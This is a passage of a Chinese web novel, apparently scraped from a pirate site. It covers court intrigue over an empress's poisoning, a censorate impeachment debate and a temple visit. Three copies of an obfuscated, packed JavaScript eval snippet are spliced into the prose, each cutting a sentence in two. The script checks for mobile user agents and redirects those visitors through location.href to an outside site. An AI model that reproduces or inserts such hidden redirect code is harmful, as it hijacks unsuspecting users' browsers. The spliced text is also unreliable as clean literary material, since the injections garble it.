“因为你不信我。‘太子无后,臣妹守孝’,我物色了三年就挑中了他,现在两府合一,无论出了什么事,我都不会提出和离。同样,他也不会,他这个年纪就当上了秋官尚书,要归功于赵王的保举,也未尝不是靠了兖国公主驸马的头衔。但这样并不就说明我们有什么山盟海誓般的深情厚意,只是利益羁绊得太深,谁也不敢离开谁,而非谁也不想离开谁。” “所以?” “所以我们只求相安无事,而你从来都不在是非之内。” 苏霄大睁了双眸,不吝于流露出心中的震惊。 “所以,即便他是把你弄进京、弄进府,还是弄进他的卧房,我都不在乎,且君子成人之美,于我有利无弊,何乐而不为呢?” 苏霄懵在原地,少顷,她苦笑着摇头:“他不会的。” “太医院十四位医婆,你说我为何偏偏要了你。” “因为皇后。” 沈明枳目光深沉:“不错,可即便为了皇后,我也不必把你要入府。” “公主,你究竟想做什么?” “助有情人终成眷属,乐事也。” 苏霄笑得凄凉:“你说谎。” 沈明枳斜瞟着书桌上的那册《孟子》,“子非我,安知我并非真心?你说他‘不会’,你怎知道他不会?寇妃应该不会和你说,他少年时也曾是花街柳巷的常客,知己多少谁又知道?他也是个男人,凭你的姿色,他岂会无动于衷、坐怀不乱?以己度人可不是君子所为。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13954628|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苏霄陷入了沉默,良久,她缓缓开口:“公主,既然你知道我爱他,又何须多问我会对皇后下手。” “你不必替寇妃认她的罪。” 苏霄猛地抬头。 “不错,我知道是她干的,所有人都知道是她干的,但龙血脑与梅蕊相克,这样邪门的西南偏方她搞不到,她有杀人心,却没杀人刀,这刀,是你递的。” 苏霄阖上双眼,“是,是我告诉她这个方子。不必说了,我的罪该论死吧?” “在我手上,你死不了。” 苏霄睁眼,不解地看向沈明枳。 “入了太医院,你就刻意躲避纷争,怎么会上赶着教寇妃杀人?” “公主是想帮我脱罪?”苏霄笑了,“殿下,你就从未动过心吗?将自己的夫婿推向别人的怀抱,你真的忍心吗?” 沈明枳说得真诚:“他只是你喜欢的模样。” 苏霄的心剧烈震颤:“我还是要辜负殿下的好意了。” “你不是有意的。” 她那对似被青黛细细划过的眉毛终于揪结起来,“不,我就是故意的。方老清理库房,发现了龙血脑,他对龙血脑的功效也不甚了解,是我翻遍了医书找到了龙血脑的功效,也是我提议更换皇后保养的方子。那时候,我确实没想到要害皇后……” “是寇妃。” 苏霄惨白着脸点头:“是,她说,她恨皇后,她分明比任何人都更早地遇见他,为妻不得她就为妾,哪怕是私奔也要和他在一起,可她能收拾后宫里来来去去的女人,却始终不能动这个皇后,因为这个皇后在他心里始终有一席之地,而她要为他的考量,再吃上一辈子的苦。” 苏霄仰头,又抬手抹去眼眶里蓄不住的眼泪。 她说的是寇妃,实则也是她自己的心迹。 是啊,若她从未见过郇寰,不曾见过那破落小院外的天地,也许她会一辈子安生于此、认命至此。可上苍既让自己比任何人都更早地遇见他,为什么还要设计这样一个结局?是她自作自受,是她贪心不足,是她异想天开,可是,上天对自己够残忍了,过去多少年里,她的母亲、她的舅舅还有她自己,她们受的苦难道还不够吗?为什么不能在此、借着郇寰的模样、多予自己一时的温柔? 沈明枳的心沉了下去。 又是情,又是这该死的深情。 “她……她问我怎么办,问我如何解脱,问我有没有什么法子能摆脱这样的痛苦……殿下,我出生微贱,但我并不卑贱,我也不该卑贱!我爹排行第五,他叫什么我也不知道,自从母亲生病,我也再没见过他,他有很多孩子,他也不记得有我这个孩子。他宠爱的那些女儿从小到大就踩着我的骨头玩耍,可我不在乎,因为她们没有我美,也没有我有本事,甚至都不如我聪明,只是比我运气好,一出生就能阖家欢乐、备受宠爱。” 苏霄的眼里盈着碧泓一潭,眨眼的时候,温柔就像灞桥柳拂过情人心,一条条一道道说不尽情思渴念,可她公然对上沈明枳的眼睛,风成了飓风,水成了鼍浪,桥上垂柳的假象如同一叶舟,随着心潮上涌飘零无依,她一开口,这叶扁舟也彻底没了影子。 “公主,见到你之前,我从没有嫉妒过任何人。起初我也觉得,这一切也只是运数,你一出生就是最受宠爱的公主,被金尊玉贵地养大,然后在最好的年龄嫁一个让所有人眼红的郎君,过上我奋斗一辈子都过不上的好日子。这是命,我怨不得。你早已出宫,可宫里到处都是你的旧事,圣上为你破格、才俊为你驻足、命运为你眷顾,把天底下的好事都占尽,你与我是云泥之别,但这些都与我无关,我也想让这些都与我无关,可是公主——” 沈明枳只盯着她脸颊上的泪,想避开她眼中的凄凉,可她突然听见:“你什么都有了,就是他的真心,也都在你身上了。” “他骄傲啊,如何会允许自己的气息中掺杂入旁人的味道?可那夜我去验尸,我就闻见了你的药味。他与你成婚后,也更爱惜名声了……这些的的确确只是小事,小到他自己都可能没有意识到。但是公主,你什么都有,衣冠之上、皮囊之下,全都是你的,可你却不以为意,我得不到的东西你踩在脚下,你说,我这故意的理由还不够充分吗?” 52. 第五十二章 年轻人 屋外静静唯有鸟鸣。 沈明枳一直走出了廊檐、走到了庭下、走到身后苏霄的房门被人彻底关上,她身后站在门边的郇寰这才大步追了下来,“以狄养兵是怎么回事?” 今日无雨,连风也没有一丝,太阳晒得要将树脱层皮,沈明枳也被这骤然炽热的天光晃得眼前一黑,她扶着额头缓了好一会儿才堪堪清醒,一睁眼郇寰便在三尺之内、近得呼吸可闻。 “梅如故说的梅阁老之死或也与荥阳郑氏有关,具体的事情你自己去问。” “今早圣上就召窦氏兄弟进宫问话。” “动作挺快。” 郇寰无话可接,只默默注视沈明枳。被阳光一照,她的肤色更白了,是毫无血色的苍白,映着她乌黑的头发和刻意抹过唇红的嘴唇,更白得触目惊心。这并不是一种健康的姿态,健康得几近强大的人会让人心生畏惧,可郇寰偏偏怕病弱的她,尤其是听过她方才的一番“坦陈”。那三年的遴选和这一座公主府的心计,都远在他的预测之外,生存让他们密不可分,就如双塔寺里的那一对梧桐树,枝枝相绕、叶叶相被,就是死也要埋入同一座坟茔,可郇寰就是怕了,怕哪天一阵风就把失而复得的人吹走了。 “月末得空?” “殿下有什么打算。” “去双塔寺,给娘娘进香。” ** 介含清由人引着走至进思堂外时,就见堂门大敞,柳曦既正坐在下首的八仙椅上听右都御史楼宥谦说话,他抿完盏中茶,一抬眼就看见了自己,嘴唇微动,堂内楼宥谦立时住口。 见介含清进退踟蹰,柳曦既放下茶盏高声道:“进来。” 楼宥谦也走到门口,一见是介含清,便和蔼地笑了起来:“原来是小介啊。” 介含清规矩地朝两位堂官行礼。 “曦既,你找小介有急事?若有急事……” “不急。”柳曦既让人给介含清也上了一盏茶,这才对楼宥谦道:“让他听着无妨,继续。” 楼宥谦原本是在堂中来回踱步的,见介含清守在椅子旁站班子似的一动不动,便只能缓缓坐下,“也好。曦既,下面御史的奏本已经递在老夫的案头了,虽然圣上早早召见了窦家兄弟,可是六科那里依然按兵不动,老夫这里也拿不准内阁的态度啊。” 柳曦既并不忙着接话,只抬眉看见介含清若有所思,便道:“你想说什么。” 介含清看了一眼楼宥谦,又看一眼柳曦既,连忙起身回话:“大人,下官有一言。” “说。” “下官以为,六科不动其实就在等察院先动,御史动了,他们才能动。” 柳曦既扭头再看向对座的楼宥谦,楼宥谦这便知道了是柳曦既借着介含清的嘴在说话,虽然这与他一贯的作风相悖。他如何不知道六科代表内阁、内阁代表圣上,这是圣上不想率先出手落一个刻薄寡恩的骂名,就是想让察院御史来当出头鸟,可他也为难,这才找上柳曦既想找一个折中的法子。 柳曦既问:“可有依据。” “下官以为,户部新人整理案卷发现疏漏是个未然,可紫微宫的开启是个定然。” “说具体些。” 介含清朝柳曦既和楼宥谦各施一礼,随后直起背朗声道:“靖臣将军回京复命时带回的军资簿册上的几个数字和户部簿册上登记的数字对不上,只是零头问题,很有可能是当年统计的胥吏不慎录错,这些都没有定论,所以是个未然。可为了定论,他们向上司请求重开紫微宫里的架格大库,而周侍郎批了公文,应允了他们的请求,给他们调出了近二十年来每任靖臣将军治下的军资簿册以备查验,这就是个定然。紫微宫是陵寝重地,要开架格大库的锁非要户部批文不可,更要申报十二军卫、得到圣上的允许,圣上能为了一件捕风捉影的事情开启紫微宫,更大费周章地召见丁忧在家的窦将军,这就是圣心圣意最好的体现,所以一件未然之事就成了定然之案。” 柳曦既问:“那依你所见,察院御史应当如何?” 介含清叠手朝柳曦既一礼,还面向楼宥谦恭敬说:“白纸黑字无可抵赖,御史当揭短参邪、以正国法,辨明纲纪、还政清明。” 柳曦既微微颔首,“嗯,你先出去吧,在值房等我。” 等介含清的脚步彻底消失,楼宥谦这才叹息:“还是太年轻了。” 叹息完,他才想起眼前的柳曦既,都察院的一把手、风宪官的头头,这才是个真正的年轻人,可说起不谙世事、不解根源只空有勇气而不愿经营算计的愣头青,他们这些作长辈的总要叹一声年轻,仿佛年轻人就是这样莽撞,而莽撞的都该年轻。 “曦既,你难道也是这么认为的?户部已经拿到郑藩虢‘以狄养兵’的实证了?” 见柳曦既不说话,楼宥谦只能一条条慢慢捋起来,他未必是想说服柳曦既,只是想让自己更有底气,他道:“这些小年轻是太闲了,好好的,翻起了二十年前的旧账,老夫倒也不知说他们些什么。郑藩虢在任时,的确,几乎每年送回户部存档的军资簿册上的数字和户部实发核验的数目都有出入,但不能排除是粮草、兵器、牲畜在押解途中正常的损耗,他们二十当郎的年轻人,热血上头,却还知道要翻出近二十年云仑将军治下的军资簿册作为每年损耗的平行对照。” 楼宥谦面露不忍:“他们是周道,知道这云仑将军所辖的西北长关、云中等地和靖臣将军所辖的靖节、靖边地理情况相似,距离京师的路程也相近,所以可信度极大。故而他们说,除去正常的损耗,这些出入依然不能忽视,一年也就罢了,八年年年如此,不论和平行对照的云仑将军还是后来前后自身对照的窦将军,这些‘损耗’都让人触目。可是曦既,边疆战况一年变却一年,郑藩虢所辖的八年刚好是战火纷飞的八年,这军资运送曾能和云仑、乃至于后来窦将军所辖的和平岁月相比?” 柳曦既垂眼,“楼大人究竟想说什么?” 楼宥谦长叹:“曦既,不瞒你说,老夫平生最不愿当的就是言官,最不愿进的就是察院,模棱两可、是非未定的事情,到了有心之人手里,便是党同伐异、相互倾轧、追名逐利的借口,言官成了骂官,承天殿成了菜市口。而今之事,就算是治他一个贪污也比‘以狄养兵’来得恰当,这罪名越大,能钻的空子就越大,转圜的余地就越大,是是非非、勾心斗角就越多,何况郑藩虢乃至荥阳郑氏是真真正正的行伍世家,兵权可以夺、军心不能移,现在西北刚刚太平,四海蛮夷都盯着大楚的一举一动,长桫索贡,方台入朝,边将一旦出了问题,谁知道又要刮起怎样的腥风血雨?” 柳曦既道:“但圣心已决。” “昔炀帝横征暴敛、凶狠淫佚,终于二世而亡。说起二世而亡,头一个便要想起始皇之子、扶苏之弟胡亥,但胡亥塞听,任由赵高指鹿为马、祸乱朝纲,又广施苛政、敲骨吸髓责备于民,故而自取灭亡无甚可说。炀帝不同,裴矩佞于隋而尽节于唐,是所谓‘君明则臣直’,君不明则臣尽昏昏,隋之灭或可咨于此。而今是升平圣主,励精图治,一扫先代颓靡,但就如圣上自语,人非圣贤,孰能无过?吾辈御史,下监百官、上谏君王,通达民意、畅晓帝心,如何能随波逐流、曲迎圣心?” 柳曦既起身,目光洞澈:“楼大人所言轰贯五内,晚辈受教。但是楼大人,箭在弦上不得不发,都察院已经被人架在火上烤了,不上书,宫内宫外都不能交代,更何况,你我虽掌着察院,想让这些御史不说他们便会乖乖不说吗?” 楼宥谦黯然:“确实如此。但是曦既,圣上将我从江南巡按的任上调回察院实职,本意就是想让我作你的贰官,佐你清察吏治、以正公道。现在你我都心中明白,这些陈年旧案的重见天日就是党争所为,就是要搅弄风云,就是要翻天——” “天是永远也翻不的。” “可这么荒唐下去,天,就要翻了!”楼宥谦说得激动,不由得又在堂上来回地踱起步子,“双王相争实如苗人养蛊,蛊虫只在股掌内,党争却在天下间,蛊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993218|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虫损一人心性,党争毁天下血脉,骨肉相残,平衡之道,怎是如此?” 柳曦既刚如拨云见日的双目又重新冷淡下去,他支身走到门边,一目览尽堂外稀疏空落的一切,这才缓缓道:“楼大人,你醉了。” 楼宥谦正在气头上,一时间什么理智克制都抛诸脑后,他一甩袖子嚷道:“老夫没醉!” 柳曦既转身,顺着堂外斜斜打进来的阳光,朝已经失态的楼宥谦摇头:“周舫当他的侍郎当得好好的,查什么紫微宫?从前因为郑氏起复而被罢官免职的那批人为何默不作声?楼大人心里最清楚,楼家四世三公、无上尊荣,在清流里更一呼百应,之于御史,他们六科才是真正的‘言官’,他们有了圣上的态度,就在等‘清流’的态度,等的就是天时地利还有‘人和’。如果六科等不来楼家,那圣上就要等别家,毕竟读过圣人之书、又非公然左右夤缘攀附之徒皆可自称一句‘清流’,大楚什么都会缺,最不缺的就是‘清流’。” 楼宥谦看着柳曦既根本不为自己所鼓动,热血逐渐凉透:“曦既,你是栾枝的爱徒,是初服的爱子,所以老夫愿意与你说这些掏心窝子的话。” “正因如此,所以晚辈才要多嘴。楼大人支撑门庭艰难不易,然则不忘本职,节气可嘉而高风可仰,晚辈敬服。”柳曦既偏首眺望堂外,“但天有不测风云,这场雨是一定会下的,普天之下、四海之内,谁也逃不了。顺天者昌、逆天者亡,楼大人身上系着楼氏全族的安危,又担着大楚万民的前程,于国于家,这种时候是绝对不能逃的。” 楼宥谦端详柳曦既的面容,不禁低叹:“曦既,你年纪轻轻怎么也变成这幅模样了?” 柳曦既心中明镜似的,却还要朝他揖礼求教:“何种模样?还望楼大人赐教。” “罢罢罢!”楼宥谦甩袖,“食君之禄,忠君之事,天下至理。我楼家既起自圣上恩典,便当为君尽忠、不记死生。曦既,老夫该怎么说你,你总是能拆穿所有伪装,真比你的老师和父亲还要洞明。奏书我会上的,你是左都御史,不便出面,名字就不必署了。” 楼宥谦揪着自己的袖子,踱到柳曦既身边,十分不忍:“‘意气用事’虽非好事,但也不全是坏事,年轻人还是要一些意气的,这才不至于失去读书人的根本。” 柳曦既垂眸欠身。 ** “大人。” 柳曦既命人给介含清搬来椅子,介含清谢过后,等沏完茶的不阿退出门外,这才要开口,柳曦既抢先问:“来问钦天监的劾本?” 介含清默默将准备过的话咽下去。 “问错人了,你该去找裴继登。”说着,柳曦既将搁在案头的御史弹劾钦天监阿谀魅国的奏本递给介含清,“郑氏纷争正盛,双塔寺的这对梧桐双生树被雷劈,这么点小事,钦天监还能诌出一大段天象国脉,你也起疑心了吧。” 介含清略一迟疑,得了柳曦既眼中的允许后方才翻开奏本,直接去读末端内阁的批示,果然,御笔朱批血淋淋写着斥责,但却对揭发此事的御史不置褒贬。他合起交还奏书,看向柳曦既,“大人,内阁发还奏本,理应发到上奏的御史贾忠峥手上,原本如何会在大人这里?” 柳曦既抿一口茶,“内阁里遣人亲自给的。” 介含清懵在原地。 “贾忠峥是你的同年,又是裴继登的老乡,他拿不到奏书就托你来探问,看来你们的关系十分融洽,这倒显得本官与裴继登上下不合,似有争锋。” 介含清四肢冰凉,说不出话。丰德馨殉职于南海道后,裴暄便升任右副都御史之职,在化隆的都察院里,右副都御史裴暄和左副都御史高穿楼才是他介含清的堂官,而裴暄与高穿楼是左、右都御史的佐官。而今为了贾忠峥的托付,他越级找上柳曦既,的确将他的顶头上司裴暄置若无物,过分僭越了,这更如柳曦既所说,无心之间“离间”了他们的关系。 缓了会儿,介含清起身拜道:“下官绝无此意,此番鲁莽,还望大人见谅。” 53. 第五十三章 半死桐 柳曦既无所谓道:“你自己去想该如何与裴继登解释,这奏本也顺便带回去,让他也好好看看。” 介含清只能应下,将奏本收入袖中。 见他还不走,柳曦既刚提笔又搁下,“还有何事?” 介含清踟蹰片刻鼓起勇气问:“大人,南巡回来后,下官曾将雍王府欺压地方的实证移交给您,而今过去快要一年,怎生一点动静也没有?” “本官以为,方才说完贾忠峥之事你就该警醒,就不会问出这样的问题。” 介含清的脸逐渐胀红,可还是小声解释:“下官以为皇亲欺压地方,当地官员不作为、不敢作为,是以百姓疾苦、苦不堪言,如若御史知情不报、执意不改,则有愧于御史清名、有负圣上所托,下官,于心不安、于心不忍。” 柳曦既敛容,倒也不计较这愣头青还拐弯抹角地把他给骂了,但他横冲直撞,今天被贾忠峥忽悠着办了蠢事,明日又可能在朝堂上捅下娄子,若非有丰德馨的青睐和阎野放的嘱托,他才不会费尽口舌地规劝而要任其自生自灭。“当时兖国公主是如何嘱咐你的?是让你将案子移交给本官、然后时时监督过问吗?” “不是。” “那就收好你的慈悲,做事时上点心,别再被人忽悠了。” 介含清心中不甘,只能应下。 “介含清,你心中可有怨念?” 介含清咬牙不答。 “君子慎其所与处者为何?” 他生硬地背诵:“与善人居,如入芝兰之室,久而不闻其香,即与之化矣。与不善人居,如入鲍鱼之肆,久而不闻其臭,亦与之化矣。丹之所藏者赤,漆之所藏者黑,是以君子必慎其所与处者焉。” 柳曦既冷冷道:“你除非辞官,不然六部五寺二监二院,乃至于内阁一府,全天下都是一个样子。你怀着拯溺济危之心科考入仕,却发现事与愿违,君子道消、小人道长,怨忿已久。可你只能怨忿,甚至于敢怒不敢言,若非南海道走了一遭、拼了一遭,这辈子就注定要沉沦下僚。我倒看不懂丰德馨为何对你寄予厚望、阎阁老又为何对你青眼有加。” 心思被人洞穿,胸口堵气,但就如柳曦既所说的“敢怒不敢言”一样,介含清不敢公然顶撞,只倍感憋闷,生生将柳曦既所有的数落一一受下。 见介含清仍然固我,柳曦既也不再废话,只冷冷送客:“回去把《离骚》读上几遍,读懂了再来回话。” 双塔寺的后山别名梧桐山,山水相间,藤蔓牵延。此时梵音漫漫,不少慕名而来的香客都围在了梧桐台前,望着台上中央栽着的那一对双生梧桐扼腕不已。前些日子一场大雨引来了一道惊雷,落下的一条闪电直接把这对交缠了百年生生不息的梧桐树一劈两半,雌树是彻底灰化,园艺高手看过也只道“没救”,雄树还剩一口气,总算没随着雌树一同浸入黄泉。 郇寰携沈明枳登台时,云光天色又开始反阴,为防下雨,他们只在人群中匆匆看过那一对梧桐的惨状,便下了梧桐台。 双塔寺的斋饭不错,见沈明枳有暂留休息的意思,郇寰便没急着要下山。今夜本是他当值,为了赶日子陪沈明枳上山、给皇后进香、以表亏欠惭愧之意,他下了朝便和左侍郎严中立换了班。这是圣上给三司和兵部定下的新规矩,每一天都必须有五品以上的堂官轮流值夜,以备不虞之事。 “前些天有御史弹劾钦天监,说是牵强附会、小题大做、祸乱国体,圣上当即降旨撤换钦天监监正,殿下可有听说?” 沈明枳应声:“嗯。” “看来圣心已明。” 沈明枳乜斜他一眼,冷冷开口:“未必。” “殿下有何见解?” “枚乘《七发》有典,龙门有桐,其根半生半死,斫以制琴,声音为天下之至悲。此乃丧偶意,雌桐死而雄梧存,正合坤宁之丧,他们是想引丧妻之痛而搅乱时局,只是不巧了,双塔寺里的梧桐树是天元先帝与其发妻郅皇后定情所在,这便捅了娄子。” 郇寰道:“竟还有这番缘由,是我大意了。” “大不大意并不要紧,魏王安插的暗桩被慢慢清理总是好事,关键是能不能参倒荥阳郑氏,若赵王府不争气,你再细心也没用。” 郇寰点头:“殿下说的是——嗯?” 郇寰脚步一顿,沈明枳也奇怪地抬头,顺着他的目光看过去,就见林荫疏疏里慢行着一抹窈窕背影,像是绿叶中的一点红花、白纸上的一滴墨点,醒目得刺眼。可沈明枳一时间认不出这个背影,只听郇寰拧眉低喃:“好像是郇毓?她怎么一个人出来了?” 沈明枳加紧脚步,跟着郇寰走了过去,就见郇三娘越走越深,一直走入了竹林深处,等到前方喧腾唱贺之声渐起、人影晃动,她这才折返,甫一转身,就看见了郇寰,如白日见鬼浑身一震,“大哥?公主嫂嫂。” “你怎么一个人跑出来了?身边的侍女呢?” 郇寰冷脸时忘记收敛的威势吓到了郇三娘,她打了一个寒颤,怯懦作答:“她们守在寮房……我……我就想一个人走走。” 郇寰再看了一眼竹林深处的雅集,勉强温和下脸色嘱咐她:“出来走走透透气可以,但还是要有人陪着,你一个人出了事情怎么办?” 郇三娘绞着手帕,红着一张脸唯唯诺诺地点头。见她钉子似的立在那里一动也不敢动,沈明枳走过去,刚要揽起她的肩膀,就听竹林深处有人大喊:“楼二!你干什么呢?快点,快到你了!” 三人俱是一惊,郇寰和沈明枳一起翘首望了过去,郇三娘也战战兢兢地转过身去,就见对面倚竹立着一个年轻男人,一身牡丹红要多扎眼有多扎眼,玉冠镶金带,手臂上还挽着一张银闪闪的长弓,正也状似无意地看过来。四目对视,那年轻人什么也没说,只装作什么也没看见,就转身朝林内呼唤之处走去,倒是郇寰微一挑眉,自言自语:“他们居然也混在了一起。” 沈明枳拉过仍然警惧的郇三娘,随意问:“谁?” 郇寰扫了一眼郇三娘,“永定侯世子滕文彪和楼复。” 沈明枳正琢磨于化隆城里的这些新纨绔们究竟是何方神圣,就听身后林子里又爆发一声狂吼:“华屹你混蛋!敢阴小爷!” 郇三娘被吓一跳,沈明枳却明白了。楼家四世三公,是升平当朝第一流的清贵人家,出过一位帝师楼艺胜,家主楼宥维是菁明书院里的主讲大儒,其弟楼宥谦则是都察院右都御史。他们向来是一心不二跟着圣上,从来不掺合党争夺储,就算是瓜田李下的嫌疑也不爱沾染。 结果楼家直系子孙和魏王母族华家的公子哥鬼混一处。 门风不严,终可至家族不幸。 见郇寰看向郇三娘的眼神里多了考究,沈明枳心中叹息。 “郇毓,太夫人还好吗?” “嗯,母亲的病比冬天时好了不少,已经能下地行走了。” 郇寰点点头,“今天是来进香、给她祈福的吗?” 郇三娘点点头。 兄妹俩再度无话。正此时,前方竹林入口处走来几个人,来人一眼就看见了郇寰,老远就笑了起来:“呦?郇侯?真是巧啊!” 长英看见了沈明枳,连忙提着裙子小跑过来,边跑边笑盈盈地喊:“十姐姐!”到了跟前,长英蹲身朝郇寰福了一礼,随即扑到了沈明枳怀里,甜甜地又叫了一声“姐姐”。 寇一爵带着齐骞慢悠悠走了过来,朝沈明枳打揖:“见过兖国公主。” 沈明枳抱着长英朝寇一爵笑道:“不必多礼了。” 长英从沈明枳怀里抬头,双眼亮晶晶地问:“十姐姐来双塔寺进香吗?” “是。”沈明枳含笑抚摸她的额角,“长英怎么也来了?是馋这里的斋饭馋得慌吗?” 长英嘻嘻笑了,凑上沈明枳耳边轻声道:“是寇表兄来会佳人啦,顺带把我和齐骞捎上的。” 此时静悄悄的,长英的话一个字不漏地灌入在场每个人耳朵里,沈明枳挑眉,看向了寇一爵,寇一爵倒坦然,笑着继续和郇寰寒暄。 “是哪家的小娘子啊?” 长英拉着沈明枳的手,得意地瞥着寇一爵道:“永定侯家的滕娘子,方才在梧桐台上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027128|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见过的,寇表兄装作是偶遇,诶呀,人家滕娘子都看出来他是刻意的,他居然还能舔着脸和人家谈诗论道……” 见长英什么都说、一点也不兜着全抖落给了沈明枳,寇一爵终于出声制止:“长英,你和你姐姐说什么‘悄悄话’呢?你不是想去月下秋潭荡秋千吗,我这就让齐骞陪你一起去。” 长英得逞地笑起来:“好啊,十姐姐和郇侯,还有郇家姐姐都能作证,寇表兄可不能出尔反尔!” 大家都笑了,寇一爵有些头疼地要打发这个小丫头,就见长英拉着沈明枳的手,两只葡萄似的眼睛亮晶晶发着光,“十姐姐陪我一块儿去吧?寇表兄说那里全是女子,他不好意思去,齐骞也是男孩子,所以就不带我去了,可是长英真的很想去荡那里的藤蔓秋千……” 小姑娘撒起娇来,抓着沈明枳地手轻轻荡了起来:“郇姐姐也一起来吧,好嘛十姐姐——姐姐——” 沈明枳被她磨得没法,只能笑着点头,郇寰对郇三娘道:“着急回去吗?如果不急,就跟着你嫂嫂一起去玩吧,不必担心晚归,到时候我们一块儿走。” 月下秋潭与平林寒山都是梧桐山的胜景,只可惜时节不对,风光景色打了折扣,但这并不妨碍长英直奔藤蔓秋千兴趣不减。一如长英所说,秋千附近飞红舞翠,尽是出来游玩的女客,齐骞这个十几岁的男孩子一下子突兀起来,坐在潭边的巨石上默默看着长英要和别的小姑娘抢秋千,看了一会儿觉得无趣,就从怀里取出一卷书温习起来。 沈明枳也早过了陪小姑娘疯玩的年纪,看着长英和一众与她年纪相仿的姑娘们玩得起劲,又见郇三娘形单影只,孤立于藤蔓下出神,比看书的齐骞还要格格不入。不过齐骞很快就被迫融入了进去,他好歹是齐珏和宣国的儿子,继承了父母的容色,光是往那里一坐,在场怀春的少女们都要失神片刻,更兼他是在读书,一身华贵又掺杂着书呆子似的木楞,引胆大的姑娘直接起了逗弄的心思,很快就把齐骞逼得走投无路,跑到了沈明枳身边。 “十姨母,我想去预定的寮房休息片刻。” “好,注意安全。” 齐骞揖礼告退。 郇三娘见齐骞走了,也鼓起勇气和沈明枳请辞:“嫂嫂,我有点累了,也想去休息会儿……” “好。”沈明枳没有理由拒绝,但叫来了月珰,“我让月珰送你吧,今天寺里人多,让你一个人走,你哥哥会担心。” 郇三娘腼腆地应下。 “咦?他们都去哪里了?”长英没摆出她公主身份,只能跟那些小娘子们轮流荡秋千,现在刚过了她的机会,她只能恋恋不舍地走下来。 沈明枳笑:“光陪你一个人玩,他们也累,都去休息了。” 长英嘟嘟嘴:“齐骞肯定是去躲懒了,成天捧着他的圣人经典读个不停,去马场时也得带着……” “这叫作‘手不释卷’,是求学的好习惯。” 长英“嗳”了一声:“他这么用功就是想考科举,可他考科举又什么用,一个荫封下来什么都白搭,进士及第才得个末流文官,像长乐姐姐的未婚夫婿一样——诶?这不是崔嫣吗?” 听见这个名字,沈明枳思绪陷落、浑身冰凉,僵直着目光顺着长英所指的方向望了过去,就见款款踱步于藤蔓长廊下的那个布衣荆钗的女子,正也朝自己这里看了过来。 长英已经蹦蹦跳跳地跑了过去,沈明枳缓缓起身,刚要迈开步子,就见崔嫣身边蓦地出现了一道熟悉的身影,一条淡霁色的长袍衬得他整个人比方才阴沉、而今又一碧如洗的青天还要寥落,腰带上佩戴的依然是枚玉环,银色的系带在阳光下闪着光。 “奴参见长英公主。” 宁晨铎也向长英行礼,一抬头就见沈明枳携了一道天光走来,似是一步重又走进了自己心里。他微微一愣,连忙掩饰着自己的局促,朝沈明枳也行了一个更庄重的礼:“兖国公主。” 得见长英与崔嫣无比相熟,这就已经让沈明枳十分吃惊,再见宁晨铎也状似与崔嫣相识,这更让沈明枳心里翻江倒海,说不出是惊骇还是惊怪。 54. 第五十四章 弦歌绝 长英看见了沈明枳眼神中的探寻,连忙热络地介绍:“这是尚仪局的崔娘子,后来去了菁明书院,现在是已经放出宫了。咦?崔娘子,听你说你是岭南人,不是要回家乡,怎么现在还在双塔寺啊?” 崔嫣低眉瞬目地回禀:“回公主,奴孤身一人无处可去,只能暂时寄居于此。” 长英依旧奇怪:“可这是寺庙,双塔寺附近不是有座丹峰庵么,那儿都是女尼,更加方便点。” 崔嫣不知如何与年纪尚小、不谙世事的长英解释尼姑庵里的凶险,就听沈明枳对着宁晨铎笑道:“真巧,宁公子也在,你们认识?” 人多眼杂,崔嫣引着他们往僻静处走,宁晨铎解释道:“是这样,崔娘子在菁明书院掌勺,突然一日饭菜换了口味,倒极其对恩师危老的胃口,危老就让我去问问,这便认识了。” “原来如此。”沈明枳抿唇一笑,又看向了还在喋喋关心着崔嫣生活起居的长英,“长英,你与崔娘子可真亲热啊,你十姐姐我倒也没得过你这样的关心。” 长英粲然一笑:“十姐姐是吃醋啦!哎,嫂嫂送我回宫孝敬母妃、孝顺父皇,硬是要我把宫里的规矩重新再学一遍,这就认识了崔娘子啊。崔娘子人美心善,从不会像嫂嫂那样苛责我,我听长华说,她也极其喜欢崔娘子。” 沈明枳笑着摇摇头,面上尽是无奈。 “啊呀!又快要到我了吧!”长英一拍脑门,拉起崔嫣的手就往秋千处跑,单留下沈明枳和宁晨铎远远走到了墙角廊尽之处。 “宁公子来上香?” 宁晨铎摇摇头,露出一抹哀色:“我来取玉尘的遗物。” 沈明枳一怔:“宁姑娘她?” 宁晨铎叹息,犹豫挣扎片刻,方才开口:“玉尘被家父家母送回了老家,但她想不开,趁下人不注意,纵火自焚了。” “怎会如此?” 